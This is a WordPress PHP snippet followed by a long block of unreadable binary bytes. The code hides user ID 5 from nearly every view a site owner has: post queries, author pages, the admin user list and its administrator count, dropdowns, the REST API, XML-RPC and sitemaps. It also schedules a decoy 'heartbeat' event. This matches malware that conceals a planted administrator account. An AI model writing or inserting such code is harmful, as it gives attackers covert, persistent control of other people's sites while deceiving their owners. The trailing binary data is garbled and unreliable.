add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝oYrϻVGxf H"@.&ՒKќs9ATU2m6X̮ؿ~W<_|֛j~byj2b=ݲ[b|7?/??_K;xwO]_|Xgz{Cح/aqvyZ^j.].jb2!=l]m/Ϗݏ?l_Wl[w7?p>NfdnzW'r-WO檽,ղlȯ6ߌ~Cowrn/6 ޥ y=+u׋z}W/%pyݬ?n7~t'> T.N]ouwOƟ7被m_0u8 шzS$u#It.9*8 7)ill1YNp|F/ y 7ɸSHNrҰfrF4z0=s'UMk!Iie ,+ 7cA57$5`vU1bTz"iH!UM A+nOzPMVo@Twv+U/vX=7Naq3;j6W6ؐ_\)) +c>8[I>x}R}fʡM#} ;iʎw>aQ1'SQ&S&s=4*уz0]c>znD46;b)*wd$lI& (IxA+Fz+uMvULcRz*&M^*rKуC ҃v>7p|C`sG=>j#j૨#c ݗzne`Ĺ)ڜ79iΡ!\=6Wk&ͽCdic &8A0znuT iyX;o4N`4#}4{I[ȒUzr17:5۳:%57!hꔼ L+ғ¿uw؁cCV/0񚫙ݥ .]EWې˂CP!8Bxq.0Tsdk^JJe$:T'=ixKQpb io_)#65r Ѓ#4DL~Nr#qh{W (p+5i4[ T'Lױ:qR8ovC`AQpE` +6V*mNЃA}*w58(Av8 (x壢 `'㼃]' l Ȟٰ<ۆnolӃC4AUXxGH7+ ߴFIF;a8I58{ :n2W&|iR:q^fx5'FƷ~|cvY煾Β| /XzpK|09<|w(~؁CЀlW8 )r{w<ȣsRv9g Y%6N$H&.ϗsU1 +". 0RD@*Ÿ[x.JlWQe#%~G3QI\+&tW'EɁw(t,q~d.fXAV-Kwod%-K3w2s F%R(s +J屢lF[dI-̐O.!pdDYIr!(ϼnnu Ȣ۟ɷPu q2 Ferz(g,& [>˒C('No$GF+"{\eGiE$ge[rBfXbaO^Kٙ2')2[s?.4ϝ; 4sX)'w2ގy0\ NW-KGO2Mcb,99!NB,JG! 9WpE3hMɱVքMe} /*H}YJ59D_+b\L828$9͟w O+Jdoe/PɣeGUE?,&Ci!hfoh>V7#E,{N䎵6Px@ȏZf,Iٖ=9W3)Kb=$\41y_?sߘE7#ltYiE"'Ku{9hwGъ3F#[cXwMg % p,/I qK첊LD=?{/[d%Y\rv2XP\"XYV.GBN )K}B~dpiq 4+Kb=§'rZ-R=|pWIqrE 7ByC+{ۏ'8"Q;y&ƃrs3y&:'+y)awޓ{ j'-WrDtn-s^K 3\۠QZ.au/l\-y5E[pVVnn+*jϜ!miɕY=h59i/KY=̀Xgw]4)ҒWko"'Qn[\ r=h!e1P:{sO.4F-zr貭ܞ!dɛ!9Jrwd5raryO. ;rη%e br̞k'**n!' W.J5W2 3rf bgX k59h!V=y[L) V~(.˲?\"H! {+ߠZMaqxaYrOD9H&QDvsYt6[(9iPq\h$bņ܍:en Yܡ_'P)jDQp?y%-7*Nyvyt$- ?QX堑+EY9r̹[!\*Ւo 99o(CԣܡAFx ">g'gY:''"{꬐-@V<|E*"!*DP?51EzS'Ғ{Xd'z!ƐCPx"yVUbCgoM%wA~7s7'B$Fq:tww,ֱĸܮCĔ䕼VvÊ{Um)"rܦ[ܾnq( t9rܐcАn-93zrZY\ȕs~м"iBK:9\#Ws&mQ,a*RzrjmH /8̲C'U qEo)k"E .@&/oL@M ][yVDPvY%Zh"\~bG̲-<=ƙFPʀXEM圗߬;sQ+CibB3 4ϭckerc\E} 9?{r;@fԏ,le9L~p䃫f ytH3BVB =x8T gG^N˂\I?,P%O|pGQp^47w)sdeqNǵmY<;riíS,pп 8?'Zʐ!l CJxtpogApĚD[ y! xx]Byc|Uv.=xV V{ͨɦpuηQ<j $ЧG zC#ܱu]@y *FZ;mIhoN>q;AŶN +V7|X`ǡƊ[Gh3p+uY&QOrPr#W6Z+|Vq,M&v A={ GÆF ^rrx )PsTFWnnxBEAp?ZL*;p?2wظ8&v6Z*Y0VaM -V!:49 -bry$pxυȓ8љ̈́8;sϛc6fc1w;}]G89A)/NhE 3x':o Y,jؾ&xƳ NΝpx9|љpx1BYqN$N'/#\xH9;Gi)6[}xav1pMr؝8zm8{k *8A'korC&xA@=dM*?\41v9RM-Ծ>2A ˛ĽcYSa*7lWzntJ[i~V*lǻ=[w# ЮؔnU*ͰJjQ׫Vw)jN>Yr<8'~£P ("JAz$qNE'Y]Hi&>t̗V'ză%LL.K/gOKiy>=QL1wJ^EZ5߽B__r͜5R &7Wsu`H/kWzl1VLLDBOWMV"G^|}(-yYׇa7R6(0 QS4*vPDus9fUE/@;hVlR7"[I/1,`Ϳtݭn:f#u 3WLGb={wh厪5ٹ){NIjۏbGgʃSת~ހ'8ARkbl}~޵ F?,ʊ6Vm3\qtk w"/g%xZ\H9 eY||ۺkO~]imOifUԶsw㜯üfFFu??ǣ9 8_`wdzAde{{P }W,]j6~uŖbiEvwCηI Y@gT}ϋA^ޙCFDAK:݃?-ݬx|\( E@>YϼGzd۴}|^tCT@}2up撉?d/Vo}/7!!.zh׫E]޷Sf0E9b4]#ଞuśYhVg#8[6}d\ךc_#ߗF~\MN7D&{Q ORd%;%+nrqxԉ:%IBnW7k=yx^<2+ a>WOדvll$NP}87j[v|R=79/DG}EP<(ސ[62AzQ acw=7t1_-'z_=00?awo?b GViC/y젢T; f.1'e1aym2ӲVtsst)6> aDRSbx!C< ?kS n5+d3Үx_v֟NW0c#Xdzfy] iV̅Y,ٶZ߶ů>mМm@Yf_um2g_oQ{/(O\,I?V{dfB:ӕ~[A?.H}?tiߋp"48SL OdC#6eOR >bH ٝ yl'gexɝӼ]/F-o<ٜҙy7%6ܯƒh^ѿ!yfm3@ynWrvMVKv4'"ć9CTgCΆd-Lh볿|09os6@ge=ΌLP{k3vz>y] P^y4_̭%SfYIyr|&-),pSw?u7vh}Z]<+aqv0Vڏ,/}Ӵm(<